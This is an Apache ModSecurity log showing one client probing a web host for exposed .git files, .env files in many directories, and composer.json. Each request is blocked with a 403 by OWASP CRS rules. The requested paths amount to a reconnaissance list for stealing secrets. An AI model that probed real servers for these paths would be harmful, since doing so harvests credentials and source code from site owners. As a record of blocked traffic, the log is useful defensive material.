[Sat Oct 24 06:59:33.552766 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyPlQ6rpxYYtVdDcXCnjwAAABg"]
[Sat Oct 24 06:59:33.553277 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "atyPlaVWPMRLkHgZYZD6lwAAABU"]
[Sat Oct 24 06:59:33.553403 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "atyPlaVWPMRLkHgZYZD6lwAAABU"]
[Sat Oct 24 06:59:33.553672 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "atyPlaVWPMRLkHgZYZD6lwAAABU"]
[Sat Oct 24 06:59:33.557221 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "atyPlUZmsT_-xVq3Bbq49AAAAAU"]
[Sat Oct 24 06:59:33.557352 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "atyPlUZmsT_-xVq3Bbq49AAAAAU"]
[Sat Oct 24 06:59:33.557559 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "atyPlUZmsT_-xVq3Bbq49AAAAAU"]
[Sat Oct 24 06:59:33.558672 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "atyPlbX1SaR9hxmEXogoSgAAAAo"]
[Sat Oct 24 06:59:33.558815 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "atyPlbX1SaR9hxmEXogoSgAAAAo"]
[Sat Oct 24 06:59:33.559030 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "atyPlbX1SaR9hxmEXogoSgAAAAo"]
[Sat Oct 24 06:59:33.638739 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "atyPlQSwRuPA-FjBma7IWQAAAAI"]
[Sat Oct 24 06:59:33.638886 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "atyPlQSwRuPA-FjBma7IWQAAAAI"]
[Sat Oct 24 06:59:33.639096 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "atyPlQSwRuPA-FjBma7IWQAAAAI"]
[Sat Oct 24 06:59:33.640107 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atyPlTOT1ZsOoHahaDY_HAAAAAY"]
[Sat Oct 24 06:59:33.640233 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atyPlTOT1ZsOoHahaDY_HAAAAAY"]
[Sat Oct 24 06:59:33.640442 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atyPlTOT1ZsOoHahaDY_HAAAAAY"]
[Sat Oct 24 06:59:33.714188 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atyPlaVWPMRLkHgZYZD6mQAAABU"]
[Sat Oct 24 06:59:33.714358 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "atyPlQSwRuPA-FjBma7IWgAAAAI"]
[Sat Oct 24 06:59:33.714430 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atyPlaVWPMRLkHgZYZD6mQAAABU"]
[Sat Oct 24 06:59:33.714501 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "atyPlQSwRuPA-FjBma7IWgAAAAI"]
[Sat Oct 24 06:59:33.714773 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atyPlaVWPMRLkHgZYZD6mQAAABU"]
[Sat Oct 24 06:59:33.714802 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "atyPlQSwRuPA-FjBma7IWgAAAAI"]
[Sat Oct 24 06:59:33.782949 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "atyPlQ6rpxYYtVdDcXCnkgAAABg"]
[Sat Oct 24 06:59:33.783102 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "atyPlQ6rpxYYtVdDcXCnkgAAABg"]
[Sat Oct 24 06:59:33.783308 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "atyPlQ6rpxYYtVdDcXCnkgAAABg"]
[Sat Oct 24 06:59:33.790069 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atyPlaVWPMRLkHgZYZD6mgAAABU"]
[Sat Oct 24 06:59:33.790241 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atyPlaVWPMRLkHgZYZD6mgAAABU"]
[Sat Oct 24 06:59:33.790495 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atyPlaVWPMRLkHgZYZD6mgAAABU"]
[Sat Oct 24 06:59:33.791539 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "atyPlQSwRuPA-FjBma7IWwAAAAI"]
[Sat Oct 24 06:59:33.791684 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "atyPlQSwRuPA-FjBma7IWwAAAAI"]
[Sat Oct 24 06:59:33.791903 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "atyPlQSwRuPA-FjBma7IWwAAAAI"]
[Sat Oct 24 06:59:33.792779 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "atyPlUZmsT_-xVq3Bbq49wAAAAU"]
[Sat Oct 24 06:59:33.792904 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "atyPlUZmsT_-xVq3Bbq49wAAAAU"]
[Sat Oct 24 06:59:33.793103 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "atyPlUZmsT_-xVq3Bbq49wAAAAU"]
[Sat Oct 24 06:59:33.794059 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "atyPlbX1SaR9hxmEXogoTQAAAAo"]
[Sat Oct 24 06:59:33.794199 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "atyPlbX1SaR9hxmEXogoTQAAAAo"]
[Sat Oct 24 06:59:33.794400 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "atyPlbX1SaR9hxmEXogoTQAAAAo"]
[Sat Oct 24 06:59:33.892550 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "atyPlQSwRuPA-FjBma7IXAAAAAI"]
